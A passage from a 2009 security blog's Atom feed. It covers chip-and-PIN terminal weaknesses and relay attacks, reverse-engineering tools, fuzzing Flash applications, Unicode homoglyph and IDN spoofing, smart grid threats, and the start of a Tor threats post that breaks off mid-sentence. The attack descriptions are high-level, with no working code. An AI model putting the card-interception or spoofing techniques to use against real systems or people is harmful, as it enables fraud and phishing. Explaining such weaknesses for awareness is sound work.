mechanisms deployed under PED help banks to secure their keys but not the actual customer details. Cardholder details including PIN code are sent unencrypted between card and PED. Thus, if a fraudster intercept these details a fake or clone of the card can be used to withdraw cash on ATMs worldwide depending on the capability of card type and issuer. Following are the key points highlighting weaknesses from the past done by various researchers.&lt;br /&gt;&lt;br /&gt;-Loop holes in the tamper mesh allows commnication to be intercepted. Such that an easily accessible compartment can hide a recording device.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/SxPq8YFwt3I/AAAAAAAAAJk/su6xUE7e2mA/s1600/November-02-09-pic3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 294px;" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/SxPq8YFwt3I/AAAAAAAAAJk/su6xUE7e2mA/s320/November-02-09-pic3.jpg" alt="" id="BLOGGER_PHOTO_ID_5409925900381763442" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;-Dione PED is vulnerable to route the card details outside resistance controller. A customized FPGA design can be used to capture the data.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/SxPrMDSjo6I/AAAAAAAAAJs/hg5uP0S8Ln0/s1600/November-02-09-pic4.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 279px;" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/SxPrMDSjo6I/AAAAAAAAAJs/hg5uP0S8Ln0/s320/November-02-09-pic4.jpg" alt="" id="BLOGGER_PHOTO_ID_5409926169676194722" border="0" /&gt;&lt;/a&gt;-The relay attack scenario.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/SxPrdY643DI/AAAAAAAAAJ0/EnG-ITg-e0Q/s1600/November-02-09-pic5.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 116px;" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/SxPrdY643DI/AAAAAAAAAJ0/EnG-ITg-e0Q/s320/November-02-09-pic5.JPG" alt="" id="BLOGGER_PHOTO_ID_5409926467540278322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Root Causes For SmartCard Security Failure&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;-Engineering Challanges: 3,662 pages of Visa Chip &amp;amp; PIN specifications.&lt;br /&gt;-Economic Incentives: Standard PED security works well to protect bank keys but customer's PIN left vulnerable.&lt;br /&gt;-Certification Failure: PED passed its necessary certification requirements despite of the technical/design flaws mentioned above.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Security Measures&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-PED design can be improved but the smartcard communication with PED is inherently difficult to protect.&lt;br /&gt;-Encrypted PIN verification is mandatory and the copy of magnetic strip data should never be stored on the chip.&lt;br /&gt;-Banks can improve the security but are not responsible for any fraud, putting liability on banks correct the incentives.&lt;br /&gt;-Protocol designers making unrealistic assumptions of tamper resistance can put the bank customers at risk of fraud.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-7734921775632381487?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7734921775632381487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7734921775632381487'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/11/breaking-smartcard-payment-security.html' title='Breaking The SmartCard Payment Security System'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WWO0NoYEIHQ/SxPqWAH7cJI/AAAAAAAAAJU/-x8tQ2uXA84/s72-c/November-02-09-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-5042694939737753704</id><published>2009-11-13T05:21:00.003-04:30</published><updated>2009-11-13T05:28:12.027-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='crack application'/><category scheme='http://www.blogger.com/atom/ns#' term='sandbox'/><category scheme='http://www.blogger.com/atom/ns#' term='binary diff'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='disassembler'/><category scheme='http://www.blogger.com/atom/ns#' term='virtualization'/><category scheme='http://www.blogger.com/atom/ns#' term='reverse engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='RCE'/><category scheme='http://www.blogger.com/atom/ns#' term='debuggers'/><category scheme='http://www.blogger.com/atom/ns#' term='system monitoring'/><title type='text'>Practical Toolkit for Reverse Engineering</title><content type='html'>&lt;div style="text-align: justify;"&gt;Many people has been involved in Reversing Engineering area for years. It is still considered attractive for many hackers and crackers to breakthrough and discover unknown possibilities exist to reverse the system objectives. Today in our article we will represent some of the core practical explanations on reverse engineering tactics.&lt;br /&gt;&lt;br /&gt;Reverse Engineering is basically described as a way to generate high-level architectural view of piece of software from the given source. Several applications involved within RE scope are vulnerability analysis, malware analysis and breaking copy-protection schemes. One can start learning the basics of RE either through 'crack-me' approach or the real-life approach (take the real-world problem, break it and attack it).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tools of The Trade&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. &lt;/span&gt;&lt;span style="font-style: italic;"&gt;Debuggers&lt;/span&gt;&lt;br /&gt;    WinDbg - Rich features, Extensive C++ support, Poor interface.&lt;br /&gt;    Visual Studio Debugger - Not suitable for reversing, Good interface for development.&lt;br /&gt;    OllyDbg - Excellent interface, easy to use, wide range of plugins.&lt;br /&gt;    Immunity Debugger - Extends OllyDbg features, supports Python interpreter, command-line support with windbg commands, wide range of plugins.&lt;br /&gt;    GDb - Standard debugger for *NIX systems, not a complete RE debugger.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. &lt;/span&gt;&lt;span style="font-style: italic;"&gt;Disassemblers&lt;/span&gt;&lt;br /&gt;    Objdump - The standard tool for disassembley in Linux.&lt;br /&gt;  IDA Pro - Supports various binaries and architectures, Enhance Visualization, Advanced features.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. &lt;/span&gt;&lt;span style="font-style: italic;"&gt;System Monitoring Tools&lt;/span&gt;&lt;br /&gt;    Sysinternals Suite - Process Exlorer, RegMon, FileMon, TCPView&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4. &lt;/span&gt;&lt;span style="font-style: italic;"&gt;Binary Differential Tool&lt;/span&gt;&lt;br /&gt;    BinDiff&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5. &lt;/span&gt;&lt;span style="font-style: italic;"&gt;Decompilers&lt;/span&gt;&lt;br /&gt;    Hex-Rays&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;6. &lt;/span&gt;&lt;span style="font-style: italic;"&gt;Reverse Engineering Frameworks&lt;/span&gt;&lt;br /&gt;    PaiMei&lt;br /&gt;    ERESI&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;7. &lt;/span&gt;&lt;span style="font-style: italic;"&gt;Dedicated Exploitation/Reverse Engineering Environment&lt;/span&gt;&lt;br /&gt;    DVL (Damn Vulnerable Linux)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;Cutting Edge Steps on Advanced Reverse Engineering&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Automation is one of the major tasks in advancing the RE process.&lt;br /&gt;-Most of the tools are scriptable, extensible and programmable.&lt;br /&gt;-Defeating a new anti-debugging solutions&lt;br /&gt;-Develop new RE environment, such as, Virtualization and Sandboxing.&lt;br /&gt;-Joining one on another tool can make a powerful toolset for RE.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-5042694939737753704?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/5042694939737753704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/5042694939737753704'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/11/practical-toolkit-for-reverse.html' title='Practical Toolkit for Reverse Engineering'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-470014429283848109</id><published>2009-10-29T22:13:00.006-04:30</published><updated>2009-10-29T22:30:23.699-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SWF security assessment'/><category scheme='http://www.blogger.com/atom/ns#' term='hack rich internet applications'/><category scheme='http://www.blogger.com/atom/ns#' term='flash assessment'/><category scheme='http://www.blogger.com/atom/ns#' term='actionscript testing'/><category scheme='http://www.blogger.com/atom/ns#' term='flash exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='actionscript hack'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploiting RIA'/><category scheme='http://www.blogger.com/atom/ns#' term='flashfire framework'/><title type='text'>Exploiting Rich Internet Applications (RIA)</title><content type='html'>&lt;div style="text-align: justify;"&gt;Due to fast adoption of internet technologies like Web 2.0 and their integration with advanced web applications has raised unexpected security challenges. In this article we will review some of these issues related to Adobe Flash product. Flash supports wide range of multimedia features including, rich web application development, video streaming, games and many more. Flash can be deployed within browser or as a system application to run SWF(flash-supported) files. The SWF file consists of 64 tag types, each of which contains its own type, length and value. These can be reviewed in the following picture.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/SupVg3fdRBI/AAAAAAAAAJM/ZxROu21iMkM/s1600-h/October-03-09-pic1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 94px; height: 320px;" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/SupVg3fdRBI/AAAAAAAAAJM/ZxROu21iMkM/s320/October-03-09-pic1.JPG" alt="" id="BLOGGER_PHOTO_ID_5398221126497027090" border="0" /&gt;&lt;/a&gt;As many of the features are exposed through tags title and tags data. One of such tags is ActionScript. It provides extensible functionality for rich applications. It is mainly based on ECMAScript and when compiled is converted to ActionRecord sub-tags. These sub-tags are then stored into DoAction meta data. A single stream of ActionRecords is terminated by ActionEnd tag. Now, based on the published statistics and product popularity, it is easy to compile the information about how many Flash deployments are openly available throughout the internet under various operating systems and mobile devices (Target Scanning).&lt;br /&gt;&lt;br /&gt;-Flash is available for all major OS(s).&lt;br /&gt;-It is installed with default settings.&lt;br /&gt;-ActionScript v2 is supported.&lt;br /&gt;&lt;br /&gt;There are several security issues discovered in ActionScript v2 (AS2) in past, which can cause a serious damage to all computers loaded with Flash and connected over the internet. These vulnerabilities can easily be exploited due to improper implementation of flash-based web applications and poses major risk to all internet users. Thus, we introduce two assessment methodologies to test the security of flash applications.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Manual Testing&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;To understand the testing procedures and dissect the simple flash file in depth, we used &lt;span style="font-style: italic;"&gt;Adobe Flash CS3&lt;/span&gt;. Inside this tool we got various facilities to audit the flash movie. ActionScript Editor is the one we can use to test several conditions, such as editing the source with first frame set as, getURL("http://www.example.com"); On the other hand, one can also use &lt;span style="font-style: italic;"&gt;SweetScape 010 Editor&lt;/span&gt; to do the similar testing.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Automated Testing&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Fault Injection for Reverse Engineers (FIRE)&lt;/span&gt; Framework&lt;br /&gt;-Gathering Input&lt;br /&gt;Get the target flash movie to perform mutation.&lt;br /&gt;&lt;br /&gt;-Survey Input&lt;br /&gt;Survey logic will skip textual data regions in the file like XML, HTML, ASCII and mark the binary data such as ActionScripfor fault injection tests.&lt;br /&gt;&lt;br /&gt;-Process Instrumentation&lt;br /&gt;FIRE invokes the Browser COM object on start-up and monitor continuously through the debugger. By monitoring the execution of "CreateWindow" and other error conditions it is easy to measure the faults.&lt;br /&gt;&lt;br /&gt;-Mutate Input&lt;br /&gt;Fault injection can be performed on batch of file(s) and is mutated with integer overflows 8bit, 16bit, 32bit. Once the fault has been injected, the final event is sent to target application to trigger the tested SWF file.&lt;br /&gt;&lt;br /&gt;-Process Monitoring&lt;br /&gt;Whenever one code point is executed, a breakpoint will be hitted and the relevant event will be generated by FIRE to deliver it to the target listener. Some of these events are ModuleLoad Event, FaultDelivered Event, ApplicationFailure Event, ApplicationCriticalFailure Event.&lt;br /&gt;&lt;br /&gt;-Bug Analysis&lt;br /&gt;If the FIRE debugger encounter the ApplicationFailure Event or ApplicationCriticalFailure Event, it will record the case by collecting the input stream, thread context and stack trace information that will help us further to investigate the  possible bug inside target input file.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-470014429283848109?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/470014429283848109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/470014429283848109'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/10/exploiting-rich-internet-applications.html' title='Exploiting Rich Internet Applications (RIA)'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WWO0NoYEIHQ/SupVg3fdRBI/AAAAAAAAAJM/ZxROu21iMkM/s72-c/October-03-09-pic1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-3974526993397983466</id><published>2009-10-20T10:25:00.008-04:30</published><updated>2009-10-20T10:39:00.686-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='UTF-8 security'/><category scheme='http://www.blogger.com/atom/ns#' term='non-unicode attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='visual spoofing'/><category scheme='http://www.blogger.com/atom/ns#' term='UTF-7 security'/><category scheme='http://www.blogger.com/atom/ns#' term='Watcher security tool'/><category scheme='http://www.blogger.com/atom/ns#' term='unicode security'/><category scheme='http://www.blogger.com/atom/ns#' term='Encoding attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS Attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Unibomber XSS tool'/><category scheme='http://www.blogger.com/atom/ns#' term='IDN spoofing'/><title type='text'>Unicode: A Look Inside the Core of System Security</title><content type='html'>&lt;div style="text-align: justify;"&gt;Unicode is a industry standard that is used to assign a unique number for every character independent of the platform or application. There can be different set of encoding systems used to represent a single language. For instance, English uses several encodings to cover all letters, symbols and punctuation.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;One of the major problems is:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;These encoding systems also conflict with one another. That is, two encodings can use the same number for two different characters, or use different numbers for the same character. Any given computer (especially servers) needs to support many different encodings; yet whenever data is passed between different encodings or platforms, that data always runs the risk of corruption.&lt;/span&gt; (&lt;span style="font-style: italic;"&gt;http://unicode.org/standard/WhatIsUnicode.html&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;This shows that the use of Unicode system may reveal a serious threat to end users, applications, operating systems and programming languages. Unicode v5 is a complex and large standard, such that, it provides code points, normalization, case mapping, categorization, escapings, conversion tables, binary properties, etc. Additionally, it includes several code pages and charsets like Shift_jis, Gb2312,  Windows-1252, ISO-8859-1, EBCDIC-037. Furthermore, the ASCII range is reserved from U+0000 to U+007F. Unicode v5.1 holds a 21-bit scalar value with space for over 1,100,000 code points (U+0000 - U+10FFFF). For instance, the english character 'A' represents U+0041 value.&lt;br /&gt;&lt;br /&gt;Encodings with different number of bits can be presented as:&lt;br /&gt;&lt;br /&gt;UTF-8 (variable width 1-4 bytes)&lt;br /&gt;UTF-16 (Endianess, variable width 2 or 4 bytes)&lt;br /&gt;UTF-32 (Endianess, Fixed width 4 bytes, Fixed mapping)&lt;br /&gt;&lt;br /&gt;After anticipating the above mentioned properties of Unicode system, it is quite obvious to find the root causes of data encoding and transformation problems. Some of them are listed below:&lt;br /&gt;&lt;br /&gt;-Visual Spoofing&lt;br /&gt;-Best-fit mappings&lt;br /&gt;-Normalization&lt;br /&gt;-Overlong UTF-8&lt;br /&gt;-Character Substitution&lt;br /&gt;-Character Deletion&lt;br /&gt;-Casing&lt;br /&gt;-Buffer Overflows&lt;br /&gt;-Controlling Syntax&lt;br /&gt;-Charset Transformation&lt;br /&gt;-Charset Mismatch&lt;br /&gt;&lt;br /&gt;Putting in consideration only one problem domain 'Visual Spoofing' which governs that in over 1,100,000 assigned characters look alike within the same or across multiple language scripts. The example is given below:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/St3Q0YOZjtI/AAAAAAAAAI0/WdynfuOKxn0/s1600-h/October-02-09-pic1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 37px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/St3Q0YOZjtI/AAAAAAAAAI0/WdynfuOKxn0/s320/October-02-09-pic1.JPG" alt="" id="BLOGGER_PHOTO_ID_5394697526934343378" border="0" /&gt;&lt;/a&gt;Such problems are the real threats. In the real-world attack scenario on International Domain Names (IDN), these can be used to spoof the actual website. For example:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;gobiz.com&lt;/span&gt; "is not" &lt;span style="font-style: italic;"&gt;gobiz.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The first letter of the 1st Domain contains "Latin U+0069 char" and the first letter of the 2nd domain represents "Latin U+0261 char". Does it make any visual difference? Thus, some of the main attack vectors that leverages visual spoofing are:&lt;br /&gt;&lt;br /&gt;-Non-unicode attacks&lt;br /&gt;-Problematic font-rendering&lt;br /&gt;-Confusable charaters&lt;br /&gt;-Manipulating combining marks&lt;br /&gt;-Syntax spoofing&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/St3RFVUm38I/AAAAAAAAAI8/D4fs0BhSZpI/s1600-h/October-02-09-pic2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 96px;" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/St3RFVUm38I/AAAAAAAAAI8/D4fs0BhSZpI/s320/October-02-09-pic2.JPG" alt="" id="BLOGGER_PHOTO_ID_5394697818212851650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Tools that can help interpret such problems within web applications are:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Watcher&lt;/span&gt;&lt;br /&gt;http://websecuritytool.codeplex.com/&lt;br /&gt;-Passive web application auditing&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/St3RV3IeKaI/AAAAAAAAAJE/_d4OvHgKdcE/s1600-h/October-02-09-pic3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 301px;" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/St3RV3IeKaI/AAAAAAAAAJE/_d4OvHgKdcE/s320/October-02-09-pic3.JPG" alt="" id="BLOGGER_PHOTO_ID_5394698102166661538" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;Unibomber&lt;/span&gt;&lt;br /&gt;http://www.casabasecurity.com/content/unibomber-tool-specialized-xss-testing&lt;br /&gt;-XSS autopwn testing tool&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-3974526993397983466?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/3974526993397983466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/3974526993397983466'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/10/unicode-look-inside-core-of-system.html' title='Unicode: A Look Inside the Core of System Security'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_WWO0NoYEIHQ/St3Q0YOZjtI/AAAAAAAAAI0/WdynfuOKxn0/s72-c/October-02-09-pic1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-3831081408711130606</id><published>2009-10-02T00:46:00.005-04:30</published><updated>2009-10-02T00:55:04.682-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='penetration smartgrid network'/><category scheme='http://www.blogger.com/atom/ns#' term='smartgrid'/><category scheme='http://www.blogger.com/atom/ns#' term='secure smartgrid components'/><category scheme='http://www.blogger.com/atom/ns#' term='smartgrid technology'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking smartgrid'/><category scheme='http://www.blogger.com/atom/ns#' term='threats in smartgrid technology'/><category scheme='http://www.blogger.com/atom/ns#' term='security in smartgrid'/><title type='text'>Evolution of SmartGrid: A new Game for Owning the Continent</title><content type='html'>&lt;div style="text-align: justify;"&gt;The life of human has dramatically changed from the manual work to automation during the past few years. This change has brought excellent benefits to the humanity and significant change to our environment making the life easier and trustworthy. However, the lack of 'security' into automation has raised challenging questions to provide a resource with confidentiality, integrity, availability and accountability. And because of distributed nature of the internet, it has also become harder to control and regulate the illegal activities cross the border which requires additional law/petitions among countries.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;SmartGrid is a digital technology for providing electricity. It allows the suppliers to remotely control the consumption of consumers electric energy and amend any possible variation in rates. In similar way, it does help users to monitor their energy usage in real-time. The major objectives of SmartGrid technology is to increase reliability, efficiency, perfectness and safety of the country's electrical infrastructure. Integration of security in such digital technology is vital and must be implemented with a broad vision. Currently, The Energy Independence and Security Act of 2007 has provided Energy Department with necessary guidelines to develop SmartGrid program. On the other side, US-NIST has been assigned with core responsibility  of developing a framework of security for the SmartGrid and the project named by NIST called "Smart Grid Interoperability Project".&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Current Security Initiatives (SmartGrid)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;-Energy Independence and Security Act of 2007 (bill signed on 18-DEC-2007)&lt;br /&gt;-NIST Smart Grid Interoperability Project (initial standards published on 8-MAY-2009)&lt;br /&gt;-Advanced Metering Infrastructure (AMI) System Security Requirements v1.01 (Released on 17-DEC-2008)&lt;br /&gt;-Critical Electric Infrastructure Protection Act (CEIPA) - (HR 2195) (Introduced on 30-APRIL-2009)&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Challenges&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;In response to the current state of design and implemetation of Smart Grid technology, it is an unfortunate condition for those such as, Salt River Project and Austin Energy, who had already started this revolution years back because of no proper security integration from the initial step of production. Thus, the security will be add-on feature for some SmartGrid producers after implementation. From the anticipation of electronic industry like banks and financial institutions, health care, manufacturers and other similar market segments facing critical threats at different levels today, it is quite obvious to judge the future of SmartGrid security. Some of which are given below:&lt;br /&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;br /&gt;1. Penetration testing for Smart Meters have shown negative signs, allowing attacker to take full control over the meters.&lt;br /&gt;2. Wide scale denial of service (DoS) attacks are possible.&lt;br /&gt;3. Application threats (exploiting OSI layer-7 to control the full usage of electricity over multiple homes/businesses).&lt;br /&gt;4. Physical Security threat (if malicious adversary successfully access the SmartGrid controller room).&lt;br /&gt;5. Controlling SmartGrid network, thus owning the whole continent?&lt;/blockquote&gt;&lt;br /&gt;A very serious initiatives will be forwarded by FERC in 2010 to fine the utility companies up to "$1million dollars per day" if any found non-compliance with security standards. Hence, there is more to come in near future.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-3831081408711130606?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/3831081408711130606'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/3831081408711130606'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/10/evolution-of-smartgrid-new-game-for.html' title='Evolution of SmartGrid: A new Game for Owning the Continent'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-5373962980096207201</id><published>2009-09-26T23:56:00.010-04:30</published><updated>2009-09-27T00:06:33.847-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='problems in tor network'/><category scheme='http://www.blogger.com/atom/ns#' term='tor security'/><category scheme='http://www.blogger.com/atom/ns#' term='tor vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='tor mitm attack'/><category scheme='http://www.blogger.com/atom/ns#' term='tor anonymity'/><category scheme='http://www.blogger.com/atom/ns#' term='session hijacking tor'/><category scheme='http://www.blogger.com/atom/ns#' term='tor threats'/><category scheme='http://www.blogger.com/atom/ns#' term='anti-censorship'/><category scheme='http://www.blogger.com/atom/ns#' term='eavesdropping tor traffic'/><category scheme='http://www.blogger.com/atom/ns#' term='tor attack'/><title type='text'>Security Threats in Tor Design</title><content type='html'>&lt;div style="text-align: justify;"&gt;The Tor Project is one of the open-source solutions available to protect privacy and security over the network communication. There are currently 1500 active relays supported and 300,000+ active users world-wide. The basic definition of 'anonimity' is interpreted differently by different set of users. For instance, home users refer it as a privacy solution/anti-censorship, commercial sector call it a network security mechanism and the Government institutions take it as a traffic-analysis resistance.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Consider a simple relay architecture as below, in which each user hide its anonimity behind single proxy host.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/Sr7qQsqYBMI/AAAAAAAAAIc/IpaLxwYN5-I/s1600-h/September-03-09-pic1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 154px;" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/Sr7qQsqYBMI/AAAAAAAAAIc/IpaLxwYN5-I/s320/September-03-09-pic1.png" alt="" id="BLOGGER_PHOTO_ID_5385999776969393346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Now, you can imagine that single relay could turn to be eavesdropper or single point of failure in communication. So, joining multiple relay-gates can add stability and anonimity in 